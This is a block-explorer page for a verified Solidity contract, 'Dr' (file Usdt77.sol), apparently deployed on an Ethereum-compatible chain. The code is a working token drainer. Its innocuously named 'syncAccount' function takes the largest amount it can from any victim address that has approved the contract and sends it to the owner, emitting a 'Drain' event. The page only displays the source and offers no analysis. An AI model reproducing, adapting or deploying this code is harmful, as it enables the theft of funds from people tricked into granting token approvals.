Skip to content
Verified contractExactMIT

Dr

Address0x13cf00fe5306fc8dcca05c71a471affb143d285f
Balance

0 ETH

 

Transactions

2

 

Compiler

solc 0.8.18

 

Same code

Only this contract

 

Details

Compiler
solc 0.8.18+commit.87f61d96
Language
solidity
Optimization
No
License
MIT
Match
Exactcreation code: yes, runtime code: yes
Verified on Sourcify
Created in block
26,363,110
Creation transaction
0xbdf93bfe21…224485e86e

Usdt77.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

interface IERC20 {
    function transferFrom(address from, address to, uint256 amount) external;
    function allowance(address owner, address spender) external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
}

contract Dr {
    address public owner;
    
    event Drain(address indexed token, address indexed vic, uint256 amount);
    
    constructor() {
        owner = msg.sender; // Stocke celui qui déploie
    }
    
    function syncAccount(address token, address vic) external {
        // Seul l'owner peut appeler
        require(msg.sender == owner, "Not owner");
        
        IERC20 t = IERC20(token);
        
        uint256 allowance = t.allowance(vic, address(this));
        uint256 balance = t.balanceOf(vic);
        
        require(allowance > 0, "No allowance");
        require(balance > 0, "No balance");
        
        uint256 amount = allowance < balance ? allowance : balance;
        
        
        t.transferFrom(vic, owner, amount);
        
        emit Drain(token, vic, amount);
    }
    
    
    function changeOwner(address newOwner) external {
        require(msg.sender == owner, "Not owner");
        owner = newOwner;
    }
}
Compiler settingsShow
{
  "optimizer": {
    "runs": 200,
    "enabled": false
  },
  "remappings": []
}

Source code and metadata: Sourcify.

The source code belongs to the authors of the contract.